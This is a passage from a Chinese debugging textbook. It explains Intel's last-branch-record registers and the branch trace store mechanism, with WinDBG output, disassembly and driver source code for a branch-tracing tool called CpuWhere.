Pentium M处理器的LBR栈有8个LBR寄存器,地址为0x40~0x47,可以
记录8次程序分支。它的LBR栈栈顶寄存器
(MSR_LASTBRANCH_TOS)的地址为0x1C9,调试控制寄存器
(MSR_DEBUGCTLB)的地址为0x1D9。第4~7行的4个常量是用来标
志这些信息的。对于其他类型的寄存器,这些常量的值可能有所不同。
第17行和第18行的代码用于读出并显示调试控制寄存器的值。第19
行和第20行是将调试控制寄存器的LBR标志(位0)清除。这样做的目
的是暂时禁止CPU的LBR机制,使LBR寄存器的内容保持稳定。不然,
我们读写这些寄存器的代码可能会使LBR寄存器的值不断变化。
第23行是从MSR_LASTBRANCH_TOS寄存器读出LBR栈的栈顶寄
存器号(TOS)。这个寄存器的低4位有效,因此第24行做了一个与操
作,去除其他位。
第28~47行的循环体依次读取8个LBR寄存器中的每一个。因为编
号为TOS的寄存器记录的是最近的分支,所以我们从这个寄存器开始读
取,并使用nToRead代表要读取的LBR寄存器号。
对于每个LBR寄存器,其低32位代表分支的From地址,我们将其赋
给ulFrom变量,高32位代表分支的To地址,我们将其赋给ulTo变量。然
后我们调用WinDBG的GetSymbol函数查询这两个地址的符号。第41行
代码用于将得到的结果打印到调试器中。
第49行和第50行将调试控制寄存器的LBR位重新设置起来。
可以在安装有Pentium M或者酷睿处理器的系统(或者目标系统)
上运行lbr模块。方法是将lbr.dll复制到WinDBG的winext目录中,然后启
动一个本地内核调试对话或双机内核调试对话(注意,一定要内核调试
会话,应用程序调试会话不可以),并执行!lbr.lbr。清单5-2显示了在运
行Pentium M处理器的本机内核调试会话中的执行结果。
清单5-2 在本机内核调试对话中执行lbr命令的结果
lkd> !lbr.lbr
Access LBR (Last Branch Recording) registers of IA-32 CPU.
Version 1.0.0.2 by Raymond
MSR_DEBUGCTLB=1
LBR bit is cleared now.
MSR_LASTBRANCH_TOS=5
MSR_LASTBRANCH_5: [804ff190] nt!WRMSR+0
MSR_LASTBRANCH_5: [8065ef6e] nt!KdpSysWriteMsr+1c
MSR_LASTBRANCH_4: [8065ef5e] nt!KdpSysWriteMsr+c
MSR_LASTBRANCH_4: [805374da] nt!_SEH_prolog+3a
MSR_LASTBRANCH_3: [805374a0] nt!_SEH_prolog+0
MSR_LASTBRANCH_3: [8065ef59] nt!KdpSysWriteMsr+7
MSR_LASTBRANCH_2: [8065ef52] nt!KdpSysWriteMsr+0
MSR_LASTBRANCH_2: [8060d364] nt!NtSystemDebugControl+356
MSR_LASTBRANCH_1: [8060d356] nt!NtSystemDebugControl+348
MSR_LASTBRANCH_1: [8060d0c3] nt!NtSystemDebugControl+b5
MSR_LASTBRANCH_0: [8060d0b6] nt!NtSystemDebugControl+a8
MSR_LASTBRANCH_0: [8060d0a1] nt!NtSystemDebugControl+93
MSR_LASTBRANCH_7: [8060d09c] nt!NtSystemDebugControl+8e
MSR_LASTBRANCH_7: [8060d08d] nt!NtSystemDebugControl+7f
MSR_LASTBRANCH_6: [8060d089] nt!NtSystemDebugControl+7b
MSR_LASTBRANCH_6: [8060d082] nt!NtSystemDebugControl+74
LBR bit is set now.
在以上结果中,TOS的值为5,也就是5号LBR寄存器
(MSR_LASTBRANCH_5)记录的是最近一次分支的From和To信息,
因此我们从这个寄存器开始显示,然后依次显示4、3、2、1、0、7、
6。这样的结果与栈回溯类似,上面的是后执行的。或者说,CPU的执
行路线是从下至上的。
对于显示LBR寄存器的各行,第1列是LBR寄存器的名称,每个寄
存器占2行,上面的是高32位,即To地址,下面的是低32位,即From地
址。以从MSR_LASTBRANCH_3向上的6行为例,8065ef59是
MSR_LASTBRANCH_3的低32位内容,nt!KdpSys- WriteMsr+7是地址
8065ef59所对应的符号。上面一行nt!_SEH_prolog+0是
MSR_LASTBRANCH_3的To地址所对应的符号。因此
MSR_LASTBRANCH_3记录的分支就是从nt!KdpSysWriteMsr+7向
nt!_SEH_prolog+ 0转移的。类似地,MSR_LASTBRANCH_4记录的是从
nt!_SEH_prolog+3a向nt!KdpSysWriteMsr+c转移的。
观察KdpSysWriteMsr的反汇编(见清单5-3)可以看到,
MSR_LASTBRANCH_3记录的是第3行汇编的CALL调用所导致的跳
转,它的低32位记录的是当前指令的地址(8065ef59),高32位记录的
是被调用函数的地址(805374a0)。类似地,MSR_LASTBRANCH_4
记录的是从nt!_SEH_prolog函数返回到KdpSysWriteMsr函数的跳转。
MSR_LASTBRANCH_5记录的是调用WRMSR函数的CALL指令所导致
的分支。
清单5-3 KdpSysWriteMsr函数的反汇编(局部)
lkd> u nt!KdpSysWriteMsr la
nt!KdpSysWriteMsr:
8065ef52 6a08 push 8
8065ef54 68d88c4d80 push offset nt!RamdiskBootDiskGuid+0x74 (804d8
cd8)
8065ef59 e84285edff call nt!_SEH_prolog (805374a0)
8065ef5e 33f6 xor esi,esi
8065ef60 8975fc mov dword ptr [ebp-4],esi
8065ef63 8b450c mov eax,dword ptr [ebp+0Ch]
8065ef66 ff7004 push dword ptr [eax+4]
8065ef69 ff30 push dword ptr [eax]
8065ef6b ff7508 push dword ptr [ebp+8]
8065ef6e e81d02eaff call nt!WRMSR (804ff190)
下面的输出是作者在包含Kaby Lake微架构的第7代酷睿处理器上
(Windows 10本地内核调试会话)运行lbr命令的部分结果:
lkd> !lbr
Access LBR (Last Branch Recording) registers of IA CPU.
Version 1.2.8 by Raymond
Family 0x6 Model 0x8e detected
LBR stack: count 32, BaseFrom=0x680, BaseTo=0x6c0, BaseInfo=0xdc0, flags 0
x4
IA32_PERF_CAPABILITIES = 0x33c5
MSR_DEBUGCTL = 0x3
LBR bit is cleared now.
MSR_LASTBRANCH_TOS=d
MSR_LASTBRANCH_d (info): Cycle Count 28, HIDWORD 0
MSR_LASTBRANCH_d (to): [fffff800957e686c] nt!KdpSysWriteMsr+0
MSR_LASTBRANCH_d (from): [fffff80095c66d91] nt!KdSystemDebugControl+6c1 bM
ISPRED 0
MSR_LASTBRANCH_c (info): Cycle Count 20, HIDWORD 80000000
MSR_LASTBRANCH_c (to): [fffff80095c66d8a] nt!KdSystemDebugControl+6ba
MSR_LASTBRANCH_c (from): [fffff80095c66d7e] nt!KdSystemDebugControl+6ae bM
ISPRED 1
[省略很多行]
可以结合下面的反汇编信息来理解上面的分支信息:
lkd> u fffff80095c66d7e
nt!KdSystemDebugControl+0x6ae:
fffff800`95c66d7e 740a je nt!KdSystemDebugControl+0x6ba (fffff800`95c66d8
a)
fffff800`95c66d80 b8040000c0 mov eax,0C0000004h
fffff800`95c66d85 e90d010000 jmp nt!KdSystemDebugControl+0x7c7
fffff800`95c66d8a 4883c208 add rdx,8
fffff800`95c66d8e 418b0a mov ecx,dword ptr [r10]
fffff800`95c66d91 e8d6fab7ff call nt!KdpSysWriteMsr (fffff800`957e
686c)
c组寄存器描述的是je指令所做的条件跳转,从地址
fffff80095c66d7e到地址fffff80095c66d8a,其中的bMISPRED代表此次跳
转的分支与预测的分支不同,即分支预测失败。上面的d组寄存器记录
的是call指令所做的执行转移,info寄存器中的Cycle Count为28,代表自
上次更新LBR寄存器到这次更新之间的时钟周期数。
5.2.4 在Windows操作系统中的应用
在x64版本的Windows操作系统中,可以看到很多与LBR有关的设
施,首先,在NT内核中,可以看到如下函数(第一个)和全局变量
(后4个):
0: kd> x nt!*lastBranch*
fffff803`d1108874 nt!KeCopyLastBranchInformation
fffff803`d141e66c nt!KeLastBranchMSR
fffff803`d141e39c nt!KiLastBranchToBaseMSR
fffff803`d141e394 nt!KiLastBranchFromBaseMSR
fffff803`d141e500 nt!KiLastBranchTOSMSR
在SDK的重要头文件winnt.h中,线程上下文结构体(_CONTEXT)
内新增了(与32位版本相比)如下与LBR有关的字段:
//
// Special debug control registers.
//
DWORD64 DebugControl;
DWORD64 LastBranchToRip;
DWORD64 LastBranchFromRip;
DWORD64 LastExceptionToRip;
DWORD64 LastExceptionFromRip;
} CONTEXT, *PCONTEXT;
或许当年设计以上设施时,设计者是想利用LBR设施增强系统的可
调试性,把每个线程的上次跳转信息保存到重要的线程上下文结构中。
这是非常好的想法,如果实现的话,调试时便又多了一个探寻的线索。
但令人遗憾的是,作者多年来多次观察上述LBR设施,发现线程上
下文中的LBR字段内容总是0,比如:
0:000> dt ntdll!_CONTEXT 0000000`0009e7c0 -yn Last
+0x4b0 LastBranchToRip : 0
+0x4b8 LastBranchFromRip : 0
+0x4c0 LastExceptionToRip : 0
+0x4c8 LastExceptionFromRip : 0
内核中记录MSR地址的全局变量也为0,似乎没有初始化过:
0: kd> dd nt!KiLastBranchToBaseMSR L1
fffff803`d141e39c 00000000
几年前,作者曾与微软的同行探讨这个问题,得知检查CPU特征
(是否支持LBR)的代码有瑕疵。几年过去了,最近观察Windows 10,
问题依旧。其成熟和在调试中发挥实际作用尚待时日。
老雷评点
要把一种新的调试设施做到如断点那样成熟所需绝非一时之
工,也绝非一人之力。
5.3 使用内存的分支记录
上一节介绍的使用MSR寄存器的分支记录机制有一个明显的局限,
那就是可以记录的分支次数太少,其应用价值比较有限。因为寄存器是
位于CPU内部的,所以靠增加LBR寄存器的数量来提高记录分支的次数
是不经济的。于是,人们很自然地想到设置一个特定的内存区供CPU来
保存分支信息。这便是分支踪迹存储(Branch Trace Store,BTS)机
制。
BTS允许把分支记录保存在一个特定的称为BTS缓冲区的内存区
内。BTS缓冲区与用于记录性能监控信息的PEBS缓冲区是使用类似的
机制来管理的,这种机制称为调试存储(Debug Store,DS)区,简称
为存储区。
PEBS的最初全称是Precise Event Based Sampling,即基于精确事件
的采样技术,是奔腾4处理器引入的一种性能监控机制。当选择的某个
性能计数器被设置为触发PEBS功能且这个计数器溢出时,CPU便会把
当时的寄存器状态以PEBS记录的形式保存到DS中的PEBS缓冲区内。每
条PEBS记录的长度是固定的,32位模式时为40个字节,包含了10个重
要寄存器(EFLAGS、EIP、EAX、EBX、ECX、EDX、ESI、EDI、
EBP和ESP)的值,IA-32e模式时为144字节,除了以上10个寄存器外,
还有R8~R15这8个新增的通用寄存器。
代号为Goldmont的微架构(在Skylake基础上开发的低功耗SoC版
本)扩展了PEBS技术,使其也可以基于不精确的事件进行采样。因
此,PEBS的全称也随之改为基于处理器事件的采样技术(Processor
Event Based Sampling)。
下一节将详细讨论性能监视功能。本节将集中讨论如何建立DS区
以及如何用它来记录分支信息。
5.3.1 DS区
下面我们仔细看看DS区的格式。因为当CPU工作在64位的IA-32e模
式时,所有寄存器和地址字段都是64位的,需要比工作在32位模式时更
大的存储空间,所以DS区的格式也有所不同。本节将以32位为例进行
介绍。
首先,DS区由以下3个部分组成。
管理信息区:用来定义BTS和PEBS缓冲区的位置和容量。管理信
息区的功能与文件头的功能很类似,CPU通过查询管理信息区来管
理BTS和PEBS缓冲区。
BTS缓冲区:用来以线性表的形式存储BTS记录。每个BTS记录的
长度固定为12个字节,分成3个双字(DWORD),第一个DWORD
是分支的源地址,第二个DWORD是分支的目标地址,第三个
DWORD只使用了第4位(bit 4),用来表示该记录是否是预测出
的。
PEBS缓冲区:用来以线性表的形式存储PEBS记录。每个PEBS记录
的长度固定为40个字节。
DS存储区的管理信息区的数据布局如图5-3所示。
图5-3 DS区的管理信息区
从图5-3中可以看到,DS管理信息区又分成了两部分,分别用来指
定和管理BTS记录和PEBS记录。
IA手册(18.6.8.2节)定义了DS区应该符合的如下条件。
第一,DS区(3个部分)应该在非分页(non-paged)内存中。也就
是说,这段内存是不可以交换到硬盘上的,以保证CPU随时可以向其写
入分支信息。
第二,DS区必须位于内核空间中。对于所有进程,包含DS缓冲区
的内存页必须被映射到相同的物理地址。也就是说,CR3寄存器的变化
不会影响DS缓冲区的地址。
第三,DS区不要与代码位于同一内存页中,以防CPU写分支记录
时会触发防止保护代码页的动作。
第四,当DS区处于活动状态时,要么应该防止进入A20M模式,要
么应该保证缓冲区边界内地址的第20位(bit 20)都为0。
第五,DS区应该仅用在启用了APIC的系统中,APIC中用于性能计
数器的LVT表项必须初始化为使用中断门,而不是陷阱门。
DS区的大小可以超过一个内存页,但是必须映射到相邻的线性地
址。BTS缓冲区和PEBS缓冲区可以共用一个内存页,其基地址不需要
按4KB边界对齐,只需要按4字节对齐。IA手册建议BTS和PEBS缓冲区
的大小应该是BTS记录(12字节)和PEBS记录(40字节)大小的整数
倍。
5.3.2 启用DS机制
了解了DS区的格式和内存要求后,下面我们看看如何启用DS机
制。具体步骤如下。
第一步,应该判断当前处理器对DS机制的支持情况,判断方法如
下。
先将1放入EAX寄存器,然后执行CPUID指令,EDX[21](DS标
志)应该为1。
检查IA32_MISC_ENABLE MSR寄存器的位
11(BTS_UNAVAILABLE),如果该位为0,表示该处理器支持
BTS功能,如果该位为1,则不支持。
检查IA32_MISC_ENABLE MSR寄存器的位
12(PEBS_UNAVAILABLE),如果该位为0,则表示该处理器支
持PEBS功能,如果该位为1,则不支持。
第二步,根据前面的要求分配和建立DS区。
第三步,将DS区的基地址写到IA32_DS_AREA MSR寄存器。这个
寄存器的地址可以在IA手册卷3B的附录中查到,目前CPU对其分配的地
址都是0x600。
第四步,如果计划使用硬件中断来定期处理BTS记录,那么设置
APIC局部向量表(LVT)的性能计数器表项,使其按固定时间间隔产
生中断(fixed delivery and edge sensitive),并在IDT中建立表项并注册
用于处理中断的中断处理例程。在中断处理例程中,应该读取已经记录
的分支信息和PEBS信息,将这些信息转存到文件或其他位置,然后将
缓冲区索引字段复位。
第五步,设置调试控制寄存器,启用BTS。
5.3.3 调试控制寄存器
在支持分支监视和记录机制的处理器中,都有一个用来控制增强调
试功能的MSR,称为调试控制寄存器(Debug Control Register)。对于
不同的处理器,这个寄存器的名称和格式有所不同,主要有以下4种。
P6系列处理器中的DebugCtl MSR,我们在5.2节对其格式做过详细
的介绍。
奔腾4系列处理器中的DebugCtlA MSR,其格式如图5-4所示。
奔腾M系列处理器中的DebugCtlB MSR,其格式如图5-5所示。
Core系列和Core 2系列处理器中的IA32_DEBUGCTL MSR,其格式
如图5-6所示。从名称上来看,这个名称已经带有IA-32字样——称
为架构中的标准寄存器,以后的IA-32系列处理器应该会保持这个
名称。
奔腾4的DebugCtlA MSR如图5-4所示。
图5-4 DebugCtlA MSR(奔腾4处理器)
图5-5 DebugCtlB MSR(奔腾M处理器)
图5-6 IA32_DEBUGCTL MSR(Core、Core 2及更新的IA-32处理器)
其中LBR、BTF的含义与P6中的一样。概括来说,TR位用来启用分
支机制;BTS位用来控制分支信息的输出方式,如果BTS位为1,则将分
支信息写到DS区的BTS缓冲区中,如果为0,则向前端总线发送分支跟
踪消息(BTM),供总线分析仪等设备接收。
BTI(Branch Trace INTerrupt)如果被置为1,那么当BTS缓冲区已
满时,会产生中断;如果为0,CPU会把BTS缓冲区当作一个环形缓冲
区,写到缓冲区的末尾后,CPU会自动回转到缓冲器的头部。
BOO(BTS_OFF_OS)和BOU(BTS_OFF_USER)用来启用BTS
的过滤机制,如果BOO为1,则不再将CPL为0的BTM记录到BTS缓冲区
中,也就是不再记录内核态的分支信息;如果BOU为1,则不再将CPL
不为0的BTM记录到BTS缓冲区中,也就是不再记录用户态的分支信
息。
尽管名称和格式有所不同,对于目前的CPU,以上4种MSR的地址
都是0x1D9。
启用DS机制,需要编写专门的驱动程序来建立和维护DS存储区,
我们将在下一节给出一个示例。
5.4 DS示例:CpuWhere
上一节介绍了IA处理器的调试存储(DS)功能。为了演示其用
法,帮助读者加深理解,我们将编写一个示例性的应用,这个应用的名
字为CpuWhere,其含义是使用这个应用,用户可以看到CPU曾经运行
过哪些地方(where has CPU run)。
5.4.1 驱动程序
因为访问MSR和分配BTS缓冲区都需要在内核态进行,所以要使用
DS机制,需要编写一个驱动程序,我们将其命名为CpuWhere.sys。
首先,我们需要定义两个数据结构:DebugStore和BtsRecord。
DebugStore结构用来描述DS存储区的管理信息区,代码如下:
typedef struct tagDebugStore
{
DWORD dwBtsBase; // BTS缓冲区的基地址
DWORD dwBtsIndex; // BTS缓冲区的索引,指向可用的BTS缓冲区
DWORD dwBtsAbsolute; // BTS缓冲区的极限值
DWORD dwBtsIntThreshold; // 报告BTS缓冲区已满的中断阈值
DWORD dwPebsBase; // PEBS缓冲区的基地址
DWORD dwPebsIndex; // PEBS缓冲区的索引,指向可用的BTS缓冲区
DWORD dwPebsAbsolute; // PEBS缓冲区的极限值
DWORD dwPebsIntThreshold; // 报告PEBS缓冲区已满的中断阈值
DWORD dwPebsCounterReset; // 计数器的复位值
DWORD dwReserved; // 保留
} DebugStore, *PDebugStore;
BtsRecord结构用来描述BTS缓冲区的每一条数据记录,代码如下:
typedef struct tagBtsRecord
{
DWORD dwFrom; // 分支的发起地址
DWORD dwTo; // 分支的目标地址
DWORD dwFlags; // 标志
} BtsRecord, *PBtsRecord;
以上两个结构都是用于32位模式的,如果系统工作在64位(IA-
32e)模式下,那么需要将大多数字段从DWORD改为8字节的
DWORD64,或者使用DWORD_PTR这样的指针类型自动适应32位和64
位。
定义了以上结构后,便可以使用Windows操作系统的
ExAllocatePoolWithTag函数来在非分页内存区中建立DS区了。清单5-4
给出了主要的源代码。
清单5-4 建立DS区的源代码
1 #define BTS_RECORD_LENGTH sizeof(BtsRecord)
2
3 PDebugStore g_pDebugStore=NULL;
4 PVOID g_pBtsBuffer=NULL;
5 DWORD g_dwMaxBtsRecords=0;
6 BOOLEAN g_bIsPentium4=0xFF;
7 BOOLEAN g_bIsTracing=0;
8 DWORD g_dwOptions=0;
9
10 NTSTATUS SetupDSArea(DWORD dwMaxBtsRecords)
11 {
12 if(g_pDebugStore==NULL)
13 g_pDebugStore=ExAllocatePoolWithTag(
14 NonPagedPool,sizeof(DebugStore),
15 CPUWHERE_TAG);
16
17 memset(g_pDebugStore,0,sizeof(DebugStore));
18
19 if(g_pBtsBuffer && g_dwMaxBtsRecords!=dwMaxBtsRecords)
20 {
21 ExFreePoolWithTag(g_pBtsBuffer,CPUWHERE_TAG);
22 g_pBtsBuffer=NULL;
23 }
24 g_pBtsBuffer=ExAllocatePoolWithTag(
25 NonPagedPool,dwMaxBtsRecords*BTS_RECORD_LENGTH,
26 CPUWHERE_TAG);
27 if(g_pBtsBuffer==NULL)
28 {
29 DBGOUT(("No resource for BTS buffer %d*%d",
30 dwMaxBtsRecords, BTS_RECORD_LENGTH));
31 return STATUS_NO_MEMORY;
32 }
33
34 g_dwMaxBtsRecords=dwMaxBtsRecords;
35 // zerolize the whole buffer
36 memset(g_pBtsBuffer,0, dwMaxBtsRecords*BTS_RECORD_LENGTH);
37
38 g_pDebugStore->dwBtsBase=(ULONG)g_pBtsBuffer;
39 g_pDebugStore->dwBtsIndex=(ULONG)g_pBtsBuffer;
40 g_pDebugStore->dwBtsAbsolute=(ULONG)g_pBtsBuffer
41 +dwMaxBtsRecords*BTS_RECORD_LENGTH;
42 //在使用环形BTS缓冲区时,如果要阻止CPU产生
43 //中断,软件需要把BTS中断阈值设置得大于BTS
44 //的绝对最大值,只清除BTINT
45 //标志是不够的
46 g_pDebugStore->dwBtsIntThreshold=(ULONG)g_pBtsBuffer
47 +(dwMaxBtsRecords+1)*BTS_RECORD_LENGTH;
48
49 DBGOUT(("DS is setup at %x: base %x, index %x, max %x, int %x",
50 g_pDebugStore,g_pDebugStore->dwBtsBase,
51 g_pDebugStore->dwBtsIndex,
52 g_pDebugStore->dwBtsAbsolute,
53 g_pDebugStore->dwBtsIntThreshold))
54
55 return STATUS_SUCCESS;
56 }
第12~17行分配一个DebugStore结构,将其线性地址赋给全局变量
g_pDebugStore,并将整个结构用0填充。第19~34行分配用于保存分支
记录的BTS缓冲区,其大小是由参数dwMaxBtsRecords所决定的。第36
行将这个缓冲区初始化为0。第38~47行用来初始化DebugStore结构。
因为我们不打算使用中断方式来报告BTS缓冲区已满,所以将产生中断
的阈值(dwBtsIntThreshold字段)设得很大,比缓冲区的最大值还大一
些。
准备好DS区后,就可以通过设置MSR寄存器来启用DS机制了。清
单5-5给出了用于启用和禁止BTS机制的EnableBTS函数的源代码。
清单5-5 启用和禁止BTS的源代码
1 NTSTATUS EnableBTS(BOOLEAN bEnable,BOOLEAN bTempOnOff)
2 {
3 DWORD dwEDX,dwEAX;
4
5 if(!bTempOnOff)
6 {
7 ReadMSR(IA32_MISC_ENABLE,&dwEDX,&dwEAX);
8 if(bEnable && ( (dwEAX & (1<<BIT_BTS_UNAVAILABLE))!=0 ) )
9 {
10 DBGOUT(("BTS is not supported %08x:%08x",dwEDX,dwEAX));
11 return -1;
12 }
13 if(bEnable) // 禁止时,保持寄存器原来的值
14 {
15 // 将DS内存地址写到MSR
16 dwEDX=0;
17 dwEAX=bEnable?(DWORD)g_pDebugStore:0;
18
19 WriteMSR(IA32_DS_AREA, dwEDX,dwEAX);
20 }
21 }
22
23 // 启用MSR中的标志
24 ReadMSR(IA32_DEBUGCTL, &dwEDX,&dwEAX);
25 DBGOUT(("Old IA32_DEBUGCTL=%08x:%08x", dwEDX,dwEAX));
26
27 // 设置MSR_DEBUGCTLA寄存器中的TR和BTS标志
28 if(bEnable)
29 {
30 dwEAX|=(1 << (g_bIsPentium4?BIT_P4_BTS:BIT_BTS) );
31 dwEAX|=(1 << (g_bIsPentium4?BIT_P4_TR:BIT_TR) );
32 // Clear the BTINT flag in the MSR_DEBUGCTLA
33 dwEAX&=~(1<< (g_bIsPentium4?BIT_P4_BTINT:BIT_BTINT) );
34 }
35 else
36 {
37 dwEAX&=~(1<< (g_bIsPentium4?BIT_P4_BTS:BIT_BTS) );
38 dwEAX&=~(1<< (g_bIsPentium4?BIT_P4_TR:BIT_TR) );
39 }
40 WriteMSR(IA32_DEBUGCTL, dwEDX,dwEAX);
41
42 // show new value after write
43 ReadMSR(IA32_DEBUGCTL, &dwEDX,&dwEAX);
44 DBGOUT(("Current IA32_DEBUGCTL=%08x:%08x", dwEDX,dwEAX));
45
46 return STATUS_SUCCESS;
47 }
参数bEnable用来指定是启用还是禁止BTS,参数bTempOnOff用来
指定本次操作是否是暂时性的。当我们读取BTS缓冲区时,需要暂时禁
用BTS机制,读好后再启用它。暂时性的禁用只操作调试控制寄存器,
不操作IA32_DS_AREA寄存器。第7~12行用于检查CPU是否支持
BTS,即读取IA32_MISC_ENABLE寄存器并检查它的
BTS_UNAVAILABLE标志。第13~20行用于设置IA32_DS_AREA寄存
器。剩下的代码用于操作调试控制寄存器。对于我们关心的TR、
BTINT和BTS位,奔腾4之外的两种调试控制寄存器(IA32_DEBUGCTL
和DebugCtlB)的这些位是一样的,所以我们只是判断当前的CPU是否
是奔腾4——全局变量g_bIsPentium4记录了这一特征。
除了以上代码,驱动程序中还实现了以下一些函数和代码:用于启
动和停止追踪的StartTracing函数,其内部会调用SetupDSArea 和
EnableBTS;用于读取BTS记录的GetBtsRecords函数,它会根据
DebugStore结构中的信息来读取CPU已经产生的BTS记录,读好后,再
把索引值恢复原位。此外,还有负责与应用程序通信的IRP响应函数,
以及其他WDM定义的驱动程序函数。
5.4.2 应用界面
有了驱动程序后,还需要编写一个简单的应用程序来管理驱动程序
以及读取和显示BTS记录——我们将其命名为CpuWhere.exe。图5-7是
CpuWhere.exe的执行界面。窗口左侧是一系列控制按钮,此处的编辑框
用来指定BTS缓冲区可以容纳的BTS记录数,即SetupDSArea函数的参
数。窗口右侧的列表框用来显示从驱动程序读取到的BTS记录。BTS记
录显示的顺序与栈回溯类似,即最近发生的位于上方。或者说,CPU的
运行轨迹是从下到上的。
图5-7 CpuWhere.exe的执行界面
在列表框中,每条BTS记录显示为两行,上面一行用来显示分支的
目标地址(方括号中),地址前以“>”符号表示,地址后为这个地址所
对应的符号;下面一行为分支的发起地址,地址前以“<”表示,大括号
中的是本条BTS记录的标志字段(dwFlags)。每一行的开头是以“#”开
始的流水号。
以图5-7中的第2行为例,#00004365 - [<0x80526bed]:
nt!PsGetCurrentProcessId + d {flag 0x0}。其中,地址前的“<”代表这是一
个BTS记录的发起行,0x80526bed是BtsRecord中的dwFrom字段的值,
nt!PsGetCurrentProcessId + d是这个地址所对应的符号和位移
(displacement)。
观察nt!PsGetCurrentProcessId函数的反汇编,可以看到地址
0x80526bed是ret指令的下一条指令的地址,因此CPU是在执行ret指令时
产生这条BTS记录的。
lkd> u nt!PsGetCurrentProcessId
nt!PsGetCurrentProcessId:
80526be0 64a124010000 mov eax,dword ptr fs:[00000124h]
80526be6 8b80ec010000 mov eax,dword ptr [eax+1ECh]
80526bec c3 ret
80526bed cc int 3
观察第1行(#00004365 - [>0xbf801a73]: win32k!HmgLock + 2e),
它是这个BTS记录的目标地址,于是可以推测出这个BTS记录记载的是
从PsGetCurrentProcessId函数返回HmgLock这一事件。第3行和第4行
(#00004366)记载的是HmgLock函数调用PsGetCurrentProcessId时的分
支。
图5-7所示列表框的倒数第2行和第3行记录了调用系统服务时从用
户态向内核态的转移过程。它们记载了从用户态地址[<0x7c90eb8f]跳转
到内核态地址[>0x8053cad0]的过程。
CpuWhere.exe的大多数实现都是非常简单的。比较复杂的地方就是
如何查找BTS记录所对应的符号。因为BTS记录中既有内核态的地址,
也有用户态的地址,简单地使用DbgHelp库中的符号函数
(SymFromAddr等)是不能满足我们的需要的。
为了用比较少的代码解决以上问题,我们使用了WinDBG的调试引
擎。通过调试引擎所输出的接口,我们启动了一个本地内核调试会话,
然后利用调试引擎来为分支记录中的地址寻找合适的符号。其核心代码
如清单5-6所示。
清单5-6 启动本地内核调试的StartLocalSession方法
1 // 启动本地内核调试会话
2 HRESULT CEngMgr::StartLocalSession(void)
3 {
4 HRESULT hr;
5
6 if(m_Client==NULL)
7 return E_FAIL;
8 if ((hr = m_Client->SetOutputCallbacks(&m_OutputCallback)) != S_O
K)
9 {
10 Log("StartLocalSession", "SetOutputCallbacks failed, 0x%X\n",
hr);
11 return hr;
12
13 }
// 注册我们自己事件的回调函数
14 if ((hr = m_Client->SetEventCallbacks(&m_EventCb)) != S_OK)
15 {
16 Log("StartLocalSession", "SetEventCallbacks failed, 0x%X\n",
hr);
17 return hr;
18 }
19 hr = m_Client->AttachKernel(DEBUG_ATTACH_LOCAL_KERNEL,NULL);
20 if(hr!=S_OK)
21 {
22 Log("StartLocalSession",
23 "AttachKernel(DEBUG_ATTACH_LOCAL_KERNEL,NULL)failed with %x"
,hr);
24 return hr;
25 }
26
27 if ((hr = m_Control->WaitForEvent(DEBUG_WAIT_DEFAULT,
28 INFINITE)) != S_OK)
29 {
30 Log("StartLocalSession", "WaitForEvent failed, 0x%X\n", hr);
31 }
32 return hr;
33 }
第8~12行设置一个输出回调类,用来接收调试引擎的信息输出。
我们将这些输出定向到列表框中。第19~25行用来启动本地内核调试,
第27~31行是等待初始的调试事件。等待这一事件后,调试引擎的内部
类会针对本地内核的实际情况进行初始化,此后就可以使用调试引擎的
各种服务了。本书后续分卷将进一步介绍调试引擎的细节。
因为依赖WinDBG版本的调试引擎(Windows系统目录自带的版本
有裁剪),所以运行CpuWhere.exe之前需要先安装WinDBG,而后将
CpuWhere.exe复制到WinDBG程序的目录中再运行它。
5.4.3 2.0版本
在更新本书第2版的时候,作者对CpuWhere.exe做了很多改进,我
们将其称为2.0版本,将前面讨论的称为1.0版本。
2.0版本的最大变化是具有多CPU支持(最多64个)。用户可以选择
在1个或多个CPU上开启分支监视。这个改动涉及数据结构、驱动程
序、用户态代码、驱动程序接口和图形界面。
清单5-7列出了支持多CPU的关键数据结构。因为需要为每个CPU
建立独立的DS区,并分别进行维护和管理,所以不再像1.0版本那样使
用全局变量。新的做法是先把那些变量封装到名为BTS_STATE的结构
体,再在WDM驱动的设备对象扩展中定义一个结构体数组,数组的每
个元素对应一个CPU。
清单5-7 支持多CPU的结构体
1 typedef struct _BTS_STATE
2 {
3 PDEBUG_STORE DebugStore; // 内核空间中的虚拟地址(va)
4 PMDL MdlDebugStore;
5 PVOID VaUserDebugStore;
6
7 ULONG BtsStatus;
8 }BTS_STATE, *PBTS_STATE;
9
10 typedef struct _BTS_DEVICE_EXTENSION
11 {
12 PDEVICE_OBJECT DevObj;
13 DWORD MaxBtsRecords;
14 DWORD Flags; //BTS_FLAG_xx;
15 DWORD Options;
16 //
17 // 按CPU分配成员
18 BTS_STATE BtsState[MAX_CPU_PER_GROUP];
19 //
20 }BTS_DEVICE_EXTENSION,*PBTS_DEVICE_EXTENSION;
因为要操作的MSR是与CPU相关的,每个CPU都有自己的寄存器实
例,所以启动监视时必须严格保证当前线程是在希望操作上的CPU上执
行。如何实现这一目标呢?我们的做法是为要监视的每个CPU创建一个
工作线程,并且通过设置线程的亲缘性(affinity)将该线程绑定在对应
的CPU上,核心的代码如清单5-8所示。
清单5-8 启动分支监视的用户态代码
1 HRESULT CKrnlAgent::Start(DWORD dwMaxRecord, ULONG64 ul64CpuMask)
2 {
3 PBtsThreadPara pThreadPara = NULL;
4
5 if(m_hSysHandle==INVALID_HANDLE_VALUE)
6 return E_FAIL;
7
8 m_dwMaxRecords = dwMaxRecord;
9
10 this->m_bStop = FALSE;
11
12 for(int i=0; i< 64; i++)
13 {
14 if(ul64CpuMask & ((ULONGLONG)1<<i))
15 {
16 pThreadPara = new BtsThreadPara;
17
18 pThreadPara->CpuNo = i;
19 pThreadPara->PtrAgent = this;
20
21 m_hBtsThreads[i] = CreateThread(NULL, 0, ThreadProcBtsWor
ker,
22 (PVOID)pThreadPara, CREATE_SUSPENDED, NULL);
23
24 SetThreadAffinityMask( m_hBtsThreads[i], (1<<i));
25
26 ResumeThread(m_hBtsThreads[i]);
27 }
28 }
29
30 return S_OK;
31 }
参数ul64CpuMask用来指定需要监视的CPU,如果某一位为1,则代
表要监视该编号的CPU。SetThreadAffinityMask是Windows操作系统中
专门用来设置线程亲缘性的API。
2.0版本使用新的方式来读取BTS记录,直接把内核态分配的DS区
映射到用户态,让应用程序直接读取其中的信息,省去了1.0版本的内
存复制过程。在驱动程序中使用AllocNonPagedMemory函数分配内存页
